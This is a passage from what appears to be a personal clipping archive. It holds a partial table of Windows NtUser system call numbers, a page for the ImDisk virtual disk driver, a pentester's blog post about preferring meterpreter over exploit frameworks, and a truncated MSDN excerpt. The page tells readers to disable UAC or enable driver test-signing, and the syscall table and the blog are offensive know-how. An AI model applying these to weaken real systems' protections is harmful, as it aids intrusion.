NtUserQuerySendMessage |     |     |     |  0x11ae  |     |     |  0x11d0  |     |  0x11d0  |     |  0x11e1  |  0x11e1  |  0x11e1  |     |  0x11e0  |  0x11e0  |  0x11f7  |  0x11f7  |  0x11f7  |     |  0x11f7  |     |  0x1202   
NtUserQueryUserCounters |     |     |     |     |     |     |  0x11d1  |     |  0x11d1  |     |  0x11e2  |  0x11e2  |  0x11e2  |     |     |     |     |     |     |     |     |     |      
NtUserQueryWindow |     |     |     |  0x11af  |     |     |  0x11d2  |     |  0x11d2  |     |  0x11e3  |  0x11e3  |  0x11e3  |     |  0x11e1  |  0x11e1  |  0x11f8  |  0x11f8  |  0x11f8  |     |  0x11f8  |     |  0x1203   
NtUserRealChildWindowFromPoint |     |     |     |  0x11b0  |     |     |  0x11d3  |     |  0x11d3  |     |  0x11e4  |  0x11e4  |  0x11e4  |     |  0x11e2  |  0x11e2  |  0x11f9  |  0x11f9  |  0x11f9  |     |  0x11f9  |     |  0x1204   
NtUserRealInternalGetMessage |     |     |     |     |     |     |     |     |     |     |  0x11e5  |  0x11e5  |  0x11e5  |     |  0x11e3  |  0x11e3  |  0x11fa  |  0x11fa  |  0x11fa  |     |  0x11fa  |     |  0x1205   
NtUserRealWaitMessageEx |     |     |     |     |     |     |     |     |     |     |  0x11e6  |  0x11e6  |  0x11e6  |     |  0x11e4  |  0x11e4  |  0x11fb  |  0x11fb  |  0x11fb  |     |  0x11fb  |     |  0x1206   
NtUserRedrawWindow |     |     |     |  0x11b1  |     |     |  0x11d4  |     |  0x11d4  |     |  0x11e7  |  0x11e7  |  0x11e7  |     |  0x11e5  |  0x11e5  |  0x11fc  |  0x11fc  |  0x11fc  |     |  0x11fc  |     |  0x1207   
NtUserRegisterClassExWOW |     |     |     |  0x11b2  |     |     |  0x11d5  |     |  0x11d5  |     |  0x11e8  |  0x11e8  |  0x11e8  |     |  0x11e6  |  0x11e6  |  0x11fd  |  0x11fd  |  0x11fd  |     |  0x11fd  |     |  0x1208   
NtUserRegisterClipboardFormat |     |     |     |  0x11b3  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserRegisterErrorReportingDialog |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11fe  |  0x11fe  |  0x11fe  |     |  0x11fe  |     |  0x1209   
NtUserRegisterHotKey |     |     |     |  0x11b4  |     |     |  0x11d6  |     |  0x11d6  |     |  0x11ea  |  0x11ea  |  0x11ea  |     |  0x11e8  |  0x11e8  |  0x1200  |  0x1200  |  0x1200  |     |  0x1200  |     |  0x120b   
NtUserRegisterRawInputDevices |     |     |     |     |     |     |     |     |     |     |  0x11eb  |  0x11eb  |  0x11eb  |     |  0x11e9  |  0x11e9  |  0x1201  |  0x1201  |  0x1201  |     |  0x1201  |     |  0x120c   
NtUserRegisterServicesProcess |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x120d   
NtUserRegisterSessionPort |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1270  |  0x1270  |  0x1270  |     |  0x1270  |     |  0x127c   
NtUserRegisterTasklist |     |     |     |  0x11b5  |     |     |  0x11d7  |     |  0x11d7  |     |  0x11ec  |  0x11ec  |  0x11ec  |     |  0x11ea  |  0x11ea  |  0x1202  |  0x1202  |  0x1202  |     |  0x1202  |     |  0x120e   
NtUserRegisterUserApiHook |     |     |     |     |     |     |     |     |     |     |  0x11e9  |  0x11e9  |  0x11e9  |     |  0x11e7  |  0x11e7  |  0x11ff  |  0x11ff  |  0x11ff  |     |  0x11ff  |     |  0x120a   
NtUserRegisterWindowMessage |     |     |     |  0x11b6  |     |     |  0x11d8  |     |  0x11d8  |     |  0x11ed  |  0x11ed  |  0x11ed  |     |  0x11eb  |  0x11eb  |  0x1203  |  0x1203  |  0x1203  |     |  0x1203  |     |  0x120f   
NtUserRemoteConnect |     |     |     |     |     |     |  0x123a  |     |  0x123a  |     |  0x1252  |  0x1252  |  0x1252  |     |  0x124e  |  0x124e  |  0x126b  |  0x126b  |  0x126b  |     |  0x126b  |     |  0x1277   
NtUserRemoteRedrawRectangle |     |     |     |     |     |     |  0x123b  |     |  0x123b  |     |  0x1253  |  0x1253  |  0x1253  |     |  0x124f  |  0x124f  |  0x126c  |  0x126c  |  0x126c  |     |  0x126c  |     |  0x1278   
NtUserRemoteRedrawScreen |     |     |     |     |     |     |  0x123c  |     |  0x123c  |     |  0x1254  |  0x1254  |  0x1254  |     |  0x1250  |  0x1250  |  0x126d  |  0x126d  |  0x126d  |     |  0x126d  |     |  0x1279   
NtUserRemoteStopScreenUpdates |     |     |     |     |     |     |  0x123d  |     |  0x123d  |     |  0x1255  |  0x1255  |  0x1255  |     |  0x1251  |  0x1251  |  0x126e  |  0x126e  |  0x126e  |     |  0x126e  |     |  0x127a   
NtUserRemoveClipboardFormatListener |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1204  |  0x1204  |  0x1204  |     |  0x1204  |     |  0x1210   
NtUserRemoveMenu |     |     |     |  0x11b7  |     |     |  0x11d9  |     |  0x11d9  |     |  0x11ee  |  0x11ee  |  0x11ee  |     |  0x11ec  |  0x11ec  |  0x1205  |  0x1205  |  0x1205  |     |  0x1205  |     |  0x1211   
NtUserRemoveProp |     |     |     |  0x11b8  |     |     |  0x11da  |     |  0x11da  |     |  0x11ef  |  0x11ef  |  0x11ef  |     |  0x11ed  |  0x11ed  |  0x1206  |  0x1206  |  0x1206  |     |  0x1206  |     |  0x1212   
NtUserResolveDesktop |     |     |     |  0x11b9  |     |     |  0x11db  |     |  0x11db  |     |  0x11f0  |  0x11f0  |  0x11f0  |     |  0x11ee  |  0x11ee  |  0x1207  |  0x1207  |  0x1207  |     |  0x1207  |     |      
NtUserResolveDesktopForWOW |     |     |     |     |     |     |  0x11dc  |     |  0x11dc  |     |  0x11f1  |  0x11f1  |  0x11f1  |     |  0x11ef  |  0x11ef  |  0x1208  |  0x1208  |  0x1208  |     |  0x1208  |     |  0x1213   
NtUserSBGetParms |     |     |     |  0x11ba  |     |     |  0x11dd  |     |  0x11dd  |     |  0x11f2  |  0x11f2  |  0x11f2  |     |  0x11f0  |  0x11f0  |  0x1209  |  0x1209  |  0x1209  |     |  0x1209  |     |  0x1214   
NtUserScrollDC |     |     |     |  0x11bb  |     |     |  0x11de  |     |  0x11de  |     |  0x11f3  |  0x11f3  |  0x11f3  |     |  0x11f1  |  0x11f1  |  0x120a  |  0x120a  |  0x120a  |     |  0x120a  |     |  0x1215   
NtUserScrollWindowEx |     |     |     |  0x11bc  |     |     |  0x11df  |     |  0x11df  |     |  0x11f4  |  0x11f4  |  0x11f4  |     |  0x11f2  |  0x11f2  |  0x120b  |  0x120b  |  0x120b  |     |  0x120b  |     |  0x1216   
NtUserSelectPalette |     |     |     |  0x11bd  |     |     |  0x11e0  |     |  0x11e0  |     |  0x11f5  |  0x11f5  |  0x11f5  |     |  0x11f3  |  0x11f3  |  0x120c  |  0x120c  |  0x120c  |     |  0x120c  |     |  0x1217   
NtUserSendInput |     |     |     |  0x11be  |     |     |  0x11e1  |     |  0x11e1  |     |  0x11f6  |  0x11f6  |  0x11f6  |     |  0x11f4  |  0x11f4  |  0x120d  |  0x120d  |  0x120d  |     |  0x120d  |     |  0x1218   
NtUserSendMessageCallback |     |     |     |  0x11bf  |     |     |  0x11e2  |     |  0x11e2  |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserSendNotifyMessage |     |     |     |  0x11c0  |     |     |  0x11e3  |     |  0x11e3  |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserSendTouchInput |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x128e   
NtUserSetActiveWindow |     |     |     |  0x11c1  |     |     |  0x11e4  |     |  0x11e4  |     |  0x11f7  |  0x11f7  |  0x11f7  |     |  0x11f5  |  0x11f5  |  0x120e  |  0x120e  |  0x120e  |     |  0x120e  |     |  0x1219   
NtUserSetAppImeLevel |     |     |     |     |     |     |  0x11e5  |     |  0x11e5  |     |  0x11f8  |  0x11f8  |  0x11f8  |     |  0x11f6  |  0x11f6  |  0x120f  |  0x120f  |  0x120f  |     |  0x120f  |     |  0x121a   
NtUserSetCapture |     |     |     |  0x11c2  |     |     |  0x11e6  |     |  0x11e6  |     |  0x11f9  |  0x11f9  |  0x11f9  |     |  0x11f7  |  0x11f7  |  0x1210  |  0x1210  |  0x1210  |     |  0x1210  |     |  0x121b   
NtUserSetChildWindowNoActivate |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x121c   
NtUserSetClassLong |     |     |     |  0x11c3  |     |     |  0x11e7  |     |  0x11e7  |     |  0x11fa  |  0x11fa  |  0x11fa  |     |  0x11f8  |  0x11f8  |  0x1211  |  0x1211  |  0x1211  |     |  0x1211  |     |  0x121d   
NtUserSetClassWord |     |     |     |  0x11c4  |     |     |  0x11e8  |     |  0x11e8  |     |  0x11fb  |  0x11fb  |  0x11fb  |     |  0x11f9  |  0x11f9  |  0x1212  |  0x1212  |  0x1212  |     |  0x1212  |     |  0x121e   
NtUserSetClipboardData |     |     |     |  0x11c5  |     |     |  0x11e9  |     |  0x11e9  |     |  0x11fc  |  0x11fc  |  0x11fc  |     |  0x11fa  |  0x11fa  |  0x1213  |  0x1213  |  0x1213  |     |  0x1213  |     |  0x121f   
NtUserSetClipboardViewer |     |     |     |  0x11c6  |     |     |  0x11ea  |     |  0x11ea  |     |  0x11fd  |  0x11fd  |  0x11fd  |     |  0x11fb  |  0x11fb  |  0x1214  |  0x1214  |  0x1214  |     |  0x1214  |     |  0x1220   
NtUserSetConsoleReserveKeys |     |     |     |  0x11c7  |     |     |  0x11eb  |     |  0x11eb  |     |  0x11fe  |  0x11fe  |  0x11fe  |     |  0x11fc  |  0x11fc  |  0x1215  |  0x1215  |  0x1215  |     |  0x1215  |     |      
NtUserSetCursor |     |     |     |  0x11c8  |     |     |  0x11ec  |     |  0x11ec  |     |  0x11ff  |  0x11ff  |  0x11ff  |     |  0x11fd  |  0x11fd  |  0x1216  |  0x1216  |  0x1216  |     |  0x1216  |     |  0x1221   
NtUserSetCursorContents |     |     |     |  0x11c9  |     |     |  0x11ed  |     |  0x11ed  |     |  0x1200  |  0x1200  |  0x1200  |     |  0x11fe  |  0x11fe  |  0x1217  |  0x1217  |  0x1217  |     |  0x1217  |     |  0x1222   
NtUserSetCursorIconData |     |     |     |  0x11ca  |     |     |  0x11ee  |     |  0x11ee  |     |  0x1201  |  0x1201  |  0x1201  |     |  0x11ff  |  0x11ff  |  0x1218  |  0x1218  |  0x1218  |     |  0x1218  |     |  0x1223   
NtUserSetDbgTag |     |     |     |     |     |     |  0x11ef  |     |  0x11ef  |     |  0x1202  |  0x1202  |  0x1202  |     |     |     |     |     |     |     |     |     |      
NtUserSetDebugErrorLevel |     |     |     |  0x11cb  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserSetDisplayConfig |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1153   
NtUserSetFocus |     |     |     |  0x11cc  |     |     |  0x11f0  |     |  0x11f0  |     |  0x1203  |  0x1203  |  0x1203  |     |  0x1200  |  0x1200  |  0x1219  |  0x1219  |  0x1219  |     |  0x1219  |     |  0x1224   
NtUserSetGestureConfig |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1296   
NtUserSetImeHotKey |     |     |     |     |     |     |  0x11f1  |     |  0x11f1  |     |  0x1204  |  0x1204  |  0x1204  |     |  0x1201  |  0x1201  |  0x121a  |  0x121a  |  0x121a  |     |  0x121a  |     |  0x1225   
NtUserSetImeInfoEx |     |     |     |     |     |     |  0x11f2  |     |  0x11f2  |     |  0x1205  |  0x1205  |  0x1205  |     |  0x1202  |  0x1202  |  0x121b  |  0x121b  |  0x121b  |     |  0x121b  |     |  0x1226   
NtUserSetImeOwnerWindow |     |     |     |     |     |     |  0x11f3  |     |  0x11f3  |     |  0x1206  |  0x1206  |  0x1206  |     |  0x1203  |  0x1203  |  0x121c  |  0x121c  |  0x121c  |     |  0x121c  |     |  0x1227   
NtUserSetInformationProcess |     |     |     |     |     |     |  0x11f4  |     |  0x11f4  |     |  0x1207  |  0x1207  |  0x1207  |     |  0x1204  |  0x1204  |  0x121d  |  0x121d  |  0x121d  |     |  0x121d  |     |      
NtUserSetInformationThread |     |     |     |  0x11cd  |     |     |  0x11f5  |     |  0x11f5  |     |  0x1208  |  0x1208  |  0x1208  |     |  0x1205  |  0x1205  |  0x121e  |  0x121e  |  0x121e  |     |  0x121e  |     |  0x1228   
NtUserSetInternalWindowPos |     |     |     |  0x11ce  |     |     |  0x11f6  |     |  0x11f6  |     |  0x1209  |  0x1209  |  0x1209  |     |  0x1206  |  0x1206  |  0x121f  |  0x121f  |  0x121f  |     |  0x121f  |     |  0x1229   
NtUserSetKeyboardState |     |     |     |  0x11cf  |     |     |  0x11f7  |     |  0x11f7  |     |  0x120a  |  0x120a  |  0x120a  |     |  0x1207  |  0x1207  |  0x1220  |  0x1220  |  0x1220  |     |  0x1220  |     |  0x122a   
NtUserSetLayeredWindowAttributes |     |     |     |     |     |     |  0x122e  |     |  0x122e  |     |  0x1245  |  0x1245  |  0x1245  |     |  0x1241  |  0x1241  |  0x125d  |  0x125d  |  0x125d  |     |  0x125d  |     |  0x126a   
NtUserSetLogonNotifyWindow |     |     |     |  0x11d0  |     |     |  0x11f8  |     |  0x11f8  |     |  0x120b  |  0x120b  |  0x120b  |     |  0x1208  |  0x1208  |     |     |     |     |     |     |      
NtUserSetMenu |     |     |     |  0x11d1  |     |     |  0x11f9  |     |  0x11f9  |     |  0x120c  |  0x120c  |  0x120c  |     |  0x1209  |  0x1209  |  0x1221  |  0x1221  |  0x1221  |     |  0x1221  |     |  0x122b   
NtUserSetMenuContextHelpId |     |     |     |  0x11d2  |     |     |  0x11fa  |     |  0x11fa  |     |  0x120d  |  0x120d  |  0x120d  |     |  0x120a  |  0x120a  |  0x1222  |  0x1222  |  0x1222  |     |  0x1222  |     |  0x122c   
NtUserSetMenuDefaultItem |     |     |     |  0x11d3  |     |     |  0x11fb  |     |  0x11fb  |     |  0x120e  |  0x120e  |  0x120e  |     |  0x120b  |  0x120b  |  0x1223  |  0x1223  |  0x1223  |     |  0x1223  |     |  0x122d   
NtUserSetMenuFlagRtoL |     |     |     |     |     |     |  0x11fc  |     |  0x11fc  |     |  0x120f  |  0x120f  |  0x120f  |     |  0x120c  |  0x120c  |  0x1224  |  0x1224  |  0x1224  |     |  0x1224  |     |  0x122e   
NtUserSetMirrorRendering |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1302  |  0x1302  |  0x1302  |     |  0x1302  |     |  0x1332   
NtUserSetObjectInformation |     |     |     |  0x11d4  |     |     |  0x11fd  |     |  0x11fd  |     |  0x1210  |  0x1210  |  0x1210  |     |  0x120d  |  0x120d  |  0x1225  |  0x1225  |  0x1225  |     |  0x1225  |     |  0x122f   
NtUserSetParent |     |     |     |  0x11d5  |     |     |  0x11fe  |     |  0x11fe  |     |  0x1211  |  0x1211  |  0x1211  |     |  0x120e  |  0x120e  |  0x1226  |  0x1226  |  0x1226  |     |  0x1226  |     |  0x1230   
NtUserSetProcessDPIAware |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1234  |  0x1234  |  0x1234  |     |  0x1234  |     |  0x123e   
NtUserSetProcessWindowStation |     |     |     |  0x11d6  |     |     |  0x11ff  |     |  0x11ff  |     |  0x1212  |  0x1212  |  0x1212  |     |  0x120f  |  0x120f  |  0x1227  |  0x1227  |  0x1227  |     |  0x1227  |     |  0x1231   
NtUserSetProp |     |     |     |  0x11d7  |     |     |  0x1200  |     |  0x1200  |     |  0x1213  |  0x1213  |  0x1213  |     |  0x1210  |  0x1210  |  0x1229  |  0x1229  |  0x1229  |     |  0x1229  |     |  0x1233   
NtUserSetRipFlags |     |     |     |     |     |     |  0x1201  |     |  0x1201  |     |  0x1214  |  0x1214  |  0x1214  |     |     |     |     |     |     |     |     |     |      
NtUserSetScrollInfo |     |     |     |  0x11d8  |     |     |  0x1202  |     |  0x1202  |     |  0x1215  |  0x1215  |  0x1215  |     |  0x1211  |  0x1211  |  0x122a  |  0x122a  |  0x122a  |     |  0x122a  |     |  0x1234   
NtUserSetShellWindowEx |     |     |     |  0x11d9  |     |     |  0x1203  |     |  0x1203  |     |  0x1216  |  0x1216  |  0x1216  |     |  0x1212  |  0x1212  |  0x122b  |  0x122b  |  0x122b  |     |  0x122b  |     |  0x1235   
NtUserSetSysColors |     |     |     |  0x11da  |     |     |  0x1204  |     |  0x1204  |     |  0x1217  |  0x1217  |  0x1217  |     |  0x1213  |  0x1213  |  0x122c  |  0x122c  |  0x122c  |     |  0x122c  |     |  0x1236   
NtUserSetSystemCursor |     |     |     |  0x11db  |     |     |  0x1205  |     |  0x1205  |     |  0x1218  |  0x1218  |  0x1218  |     |  0x1214  |  0x1214  |  0x122d  |  0x122d  |  0x122d  |     |  0x122d  |     |  0x1237   
NtUserSetSystemMenu |     |     |     |  0x11dc  |     |     |  0x1206  |     |  0x1206  |     |  0x1219  |  0x1219  |  0x1219  |     |  0x1215  |  0x1215  |  0x122e  |  0x122e  |  0x122e  |     |  0x122e  |     |  0x1238   
NtUserSetSystemTimer |     |     |     |  0x11dd  |     |     |  0x1207  |     |  0x1207  |     |  0x121a  |  0x121a  |  0x121a  |     |  0x1216  |  0x1216  |  0x122f  |  0x122f  |  0x122f  |     |  0x122f  |     |  0x1239   
NtUserSetThreadDesktop |     |     |     |  0x11de  |     |     |  0x1208  |     |  0x1208  |     |  0x121b  |  0x121b  |  0x121b  |     |  0x1217  |  0x1217  |  0x1230  |  0x1230  |  0x1230  |     |  0x1230  |     |  0x123a   
NtUserSetThreadLayoutHandles |     |     |     |     |     |     |  0x1209  |     |  0x1209  |     |  0x121c  |  0x121c  |  0x121c  |     |  0x1218  |  0x1218  |  0x1231  |  0x1231  |  0x1231  |     |  0x1231  |     |  0x123b   
NtUserSetThreadState |     |     |     |  0x11df  |     |     |  0x120a  |     |  0x120a  |     |  0x121d  |  0x121d  |  0x121d  |     |  0x1219  |  0x1219  |  0x1232  |  0x1232  |  0x1232  |     |  0x1232  |     |  0x123c   
NtUserSetTimer |     |     |     |  0x11e0  |     |     |  0x120b  |     |  0x120b  |     |  0x121e  |  0x121e  |  0x121e  |     |  0x121a  |  0x121a  |  0x1233  |  0x1233  |  0x1233  |     |  0x1233  |     |  0x123d   
NtUserSetUserStartupInfoFlags |     |     |     |  0x11e1  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserSetWinEventHook |     |     |     |  0x11eb  |     |     |  0x1215  |     |  0x1215  |     |  0x1228  |  0x1228  |  0x1228  |     |  0x1224  |  0x1224  |  0x1240  |  0x1240  |  0x1240  |     |  0x1240  |     |  0x124c   
NtUserSetWindowCompositionAttribute |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x123f   
NtUserSetWindowDisplayAffinity |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1240   
NtUserSetWindowFNID |     |     |     |  0x11e2  |     |     |  0x120c  |     |  0x120c  |     |  0x121f  |  0x121f  |  0x121f  |     |  0x121b  |  0x121b  |  0x1235  |  0x1235  |  0x1235  |     |  0x1235  |     |  0x1241   
NtUserSetWindowLong |     |     |     |  0x11e3  |     |     |  0x120d  |     |  0x120d  |     |  0x1220  |  0x1220  |  0x1220  |     |  0x121c  |  0x121c  |  0x1236  |  0x1236  |  0x1236  |     |  0x1236  |     |  0x1242   
NtUserSetWindowPlacement |     |     |     |  0x11e4  |     |     |  0x120e  |     |  0x120e  |     |  0x1221  |  0x1221  |  0x1221  |     |  0x121d  |  0x121d  |  0x1237  |  0x1237  |  0x1237  |     |  0x1237  |     |  0x1243   
NtUserSetWindowPos |     |     |     |  0x11e5  |     |     |  0x120f  |     |  0x120f  |     |  0x1222  |  0x1222  |  0x1222  |     |  0x121e  |  0x121e  |  0x1238  |  0x1238  |  0x1238  |     |  0x1238  |     |  0x1244   
NtUserSetWindowRgn |     |     |     |  0x11e6  |     |     |  0x1210  |     |  0x1210  |     |  0x1223  |  0x1223  |  0x1223  |     |  0x121f  |  0x121f  |  0x1239  |  0x1239  |  0x1239  |     |  0x1239  |     |  0x1245   
NtUserSetWindowRgnEx |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x123b  |  0x123b  |  0x123b  |     |  0x123b  |     |  0x1247   
NtUserSetWindowStationUser |     |     |     |  0x11e9  |     |     |  0x1213  |     |  0x1213  |     |  0x1226  |  0x1226  |  0x1226  |     |  0x1222  |  0x1222  |  0x123e  |  0x123e  |  0x123e  |     |  0x123e  |     |  0x124a   
NtUserSetWindowWord |     |     |     |  0x11ea  |     |     |  0x1214  |     |  0x1214  |     |  0x1227  |  0x1227  |  0x1227  |     |  0x1223  |  0x1223  |  0x123f  |  0x123f  |  0x123f  |     |  0x123f  |     |  0x124b   
NtUserSetWindowsHookAW |     |     |     |  0x11e7  |     |     |  0x1211  |     |  0x1211  |     |  0x1224  |  0x1224  |  0x1224  |     |  0x1220  |  0x1220  |  0x123c  |  0x123c  |  0x123c  |     |  0x123c  |     |  0x1248   
NtUserSetWindowsHookEx |     |     |     |  0x11e8  |     |     |  0x1212  |     |  0x1212  |     |  0x1225  |  0x1225  |  0x1225  |     |  0x1221  |  0x1221  |  0x123d  |  0x123d  |  0x123d  |     |  0x123d  |     |  0x1249   
NtUserSfmDestroyLogicalSurfaceBinding |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x128b   
NtUserSfmDxBindSwapChain |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1282   
NtUserSfmDxGetSwapChainStats |     |     |     |    

# Tools and utilities for Windows

**Created:**| _5/18/2009 8:46:05 PM_  
---|---  
**Updated:**| _5/18/2009 8:46:12 PM_  
**Author:**| __  
**Tags:**| _security tools Forensics_  
  
**ImDisk Virtual Disk Driver - Latest version **1.1.4** built 21 April 2009.**  
  
ImDisk is a virtual disk driver for Windows NT/2000/XP/2003/Vista/2008. It can
use one or more disk image files to create virtual hard disk, floppy or CD/DVD
drives .The install package installs a console-mode control program called
imdisk.exe and a Control Panel applet. After install is finished, type imdisk
without parameters for syntax help or double click the ImDisk icon in the
Control Panel. It also adds a menu item in Windows Explorer so that you can
right-click on a file to mount it as a virtual disk drive. Users of mdconfig
in FreeBSD will probably be familiar with the command line syntax of
imdisk.exe. The driver, service and control program can be uninstalled using
the Add/Remove programs applet in the Control Panel. No reboot is required for
installing or uninstalling.  
  
The install package also contains a user-mode helper service that enables the
virtual disk driver to forward I/O requests to other computers on the network.
This makes it possible to boot a machine with NTFS partitions with a \*nix
Live-CD and use the included  devio tool to let ImDisk on another computer
running Windows on the network mount the NTFS partition on the machine you
booted with the \*nix Live-CD. This way you can recover information and even
run chkdsk on drives on machines where Windows does not boot. I am working on
a Live CD image with devio and other useful things for this pre-loaded. Will
publish that one for download soon.  

  * Download screenshot \- 43.5 KB  

  * Download the install package \- 275 KB, works on both 32-bit and 64-bit versions of Windows.  

About the install package  
The install package is created using 7-zip sfx stubs and includes an .inf
install script. No reboot is required after installing or uninstalling. The
install package works on Windows NT 3.51/NT 4.0/2000/XP/Server
2003/Vista/Server 2008, both 32-bit and 64-bit versions.  
  
Special note for both 32-bit and 64-bit versions of Windows Vista and Windows
Server 2008  
On Vista and Server 2008 you need to either turn off UAC, User Access Control,
or setup the driver to auto-load on system startup..  
  
About turning off UAC:
http://blogs.msdn.com/tims/archive/2006/09/20/763275.aspx  
\-- or --  
Set the ImDisk driver to auto-load at Command Prompt: **sc config imdisk
start= auto**  
or set the ImDisk driver to auto-load using GUI: Open Device Manager, View ->
Show hidden devices. Under "Non-plug-and-play devices" right-click  _ImDisk
Virtual Disk Driver_ and select properties. On the "Driver" tab, change start
type to Automatic.  
  
Using either solution it should work after next reboot.  
  
Special note specifically for 64-bit versions of Windows Vista and Windows
Server 2008  
Please note that 64-bit versions of ImDisk has not been fully tested but they
share source code with the 32-bit version so they should be as stable as the
32-bit version.  
  
The 64-bit driver files included in the install package will not load on
64-bit Vista or 64-bit Server 2008 unless the machine is running with
testsigning switched on \(type bcdedit /set testsigning on at Command Prompt
and reboot to activate this\). Testsigning mode means that 64-bit Windows will
load drivers signed with test certificates and not only certificates backed by
a trusted root certificate. The driver files are signed with my test
certificate which can be imported to the Trusted Root Certification
Authorities on the 64-bit Windows machine. You can download the test
certificate here. This applies to 64-bit Vista and 64-bit Server 2008, it is
not necessary on 64-bit Server 2003 or 64-bit XP where the driver will load
automatically.  
  
Special note for Windows NT 3.51  
The .inf file used in the install process is not compatible with Windows NT
3.51. To install on NT 3.51 you can extract the files in the packages using
7-zip and then manually create the driver keys in the registry or using a SCM
control tool like sc.exe in the Windows NT Resource Kit. On later versions of
Windows you just run the package and it will install everything automatically.  
  
Source code  
Source code for all of ImDisk, including a server-part for \*nix like systems,
is available as a 7-zip compressed file here \(82 KB\). The Windows parts of
the source code can be built in the Windows 2000 build environemt in the
latest WDK and the \*nix parts can be built with gcc. If you want to call
functions for creating/removing/querying virtual disks from your own program
you can \#include the file inc\imdisk.h in your C/C++ source files and link
the cpl\i386\imdisk.lib library. If you would like information about how to
write compatible server-end software you can take a look at the I/O packet
structures in inc\imdproxy.h.  
  
License  
I have received some e-mails with questions wether or not it is okay to
include this driver in a commercial product. The answer is yes, just like all
other tools I publish here. However, note that a few lines of code are under
the GNU GPL license, this is basically the parts related to floppy emulation.
Some of the driver code is also ported to Windows NT from the FreeBSD 'md'
driver.  
  
Forum  
A new sub-forum has been started at the boot-land forum. This new sub-forum is
for discussions about ImDisk Virtual Disk Driver and other tools published
here.  

# Frameworks and how I hack currently \(and how I don't\) | carnal0wnage.attackresearch.com
**Created:**| _5/15/2011 7:40:39 PM_  
---|---  
**Updated:**| _5/15/2011 7:40:39 PM_  
**Author:**| __  
**Tags:**| _Exploit opinion_  
  

## Frameworks and how I hack currently \(and how I don't\)

Tue, 05/10/2011 - 09:29 by valsmith

I got involved with HDM, skape, spoonm, et all and the metasploit project
quite a long time ago, probably around msf 1ish time frame. It was an exciting
time and metasploit was one of the best open source infosec \(if not the
best\) projects out there. We gave talks, released tools, and HDM and I gave
the Tactical Exploitation training course for several years. Core impact and
Canvas were lurking around and constantly growing in capability as well.

One thing that frustrated me and probably some of the other guys was that many
people failed to see the most powerful aspect of msf, namely what it did for
rapid and easy exploit development. People simply demanded more exploit
modules and wanted it as an exploit launching platform. Even I used MSF
extensively in this manner, using it to penetrate more than 40,000 computers,
but I also used it for exploit devel because thats where it really shined.

Fast forward to today, the big frameworks, msf, canvas and core are huge, and
have almost unimaginable amounts of features and modules and 1000s of pen
testers using them.

Recently I participated as a member of the NCCDC red team for the national
competition. We were granted temporary licenses for some of these frameworks
to use in the competition. \(much appreciated\!\) I also still do a decent
amount of pen testing. So that brings me to the real topic of this post: what
do I do to break into computers, and what do I use, and what did I use at
NCCDC.

Turns out, I barely use frameworks at all these days. Honestly, for the most
part, I find myself using a stand alone meterpreter exe and the multihandler.
Thats literally it. I realized that I basically don't use frameworks anymore.
I was surprised when I thought about it given my long attachment to them.

There are a few reasons for this but mostly:

\- I don't use exploits much anymore. Business process problems, logic flaws,
configuration errors, social engineering and phishing, trust relationships,
and really customized and complex chained vulnerabilities which have little to
nothing to do with memory corruption is what I do. A lot of organizations have
firewalls and patching down pretty well so traditional exploits are much less
lucrative. HD and crew have added some of these things to MSF, but often these
attacks are so complex and one off that they are not very "frameworkable"

\- Frameworks are big and complicated and hard to fully master. Maybe I'm just
old and incapable of learning new things, but I find myself more and more
either writing a one off tool or using some standalone exe to get things done.
Purchasing, loading up and configuring a framework, and understanding every
nuance and available module can be time consuming and "expensive" in terms of
time-to-own. \(Note: msf is still free, woot\!\)

\- The bigger and more complex it is, the more stuff you find that doesn't
work perfectly. The framework teams have the best of the best, most talented
guys working on them and they do amazing things. However these frameworks are
starting to rival operating systems in complexity and capability. And the
business policies associated with them aren't always conducive to the quick
hack and I'm big on immediate gratification. Example, at NCCDC the strict
licensing scheme of one framework made it unusable for me for the first day
and a half \(of a 2 and a half day engagement\).

Another example: I love meterp + multihandler, its probably my favorite and
most used tool but the persistence and cross platform aspects of it aren't
quite there yet. \(Maybe they are as of this post, the team moves at the speed
of light these days\)

I don't have much familiarity with canvas, but I think the real value there is
the quality of the exploits rather than the framework tying them all together.

So it seems, for me at least, the concepts that HD and I thought about when
coming up with the Tactical Exploitation presentation and training course
still hold true, even more so these days.

And I wonder how many of you out there find this is the case for you as well?

V.

# Obtaining Directory Change Notifications \(Windows\)

**Created:**| _10/25/2010 8:09:35 PM_  
---|---  
**Updated:**| _10/26/2010 7:31:46 AM_  
**Author:**| _wishi_  
**Tags:**| _programming projects rsyncfs_  
  

# Obtaining Directory Change Notifications

An application can monitor the contents of a directory and its subdirectories
by using change notifications. Waiting for a change notification is similar to
having a read operation pending against a directory and, if necessary, its
subdirectories. When something changes within the directory being watched, the
read operation is completed. For example, an application can use these
functions to update a directory listing whenever a file name within the
monitored directory changes.

An application can specify a set of conditions that trigger a change
notification by using the **FindFirstChangeNotification** function. The
conditions include changes to file names, directory names, attributes, file
size, time of last write, and security. This function also returns a handle
that can be waited on by using the wait functions. If the wait condition is
satisfied, **FindNextChangeNotification** can be used to provide a
notification handle to wait on subsequent changes. However, these functions do
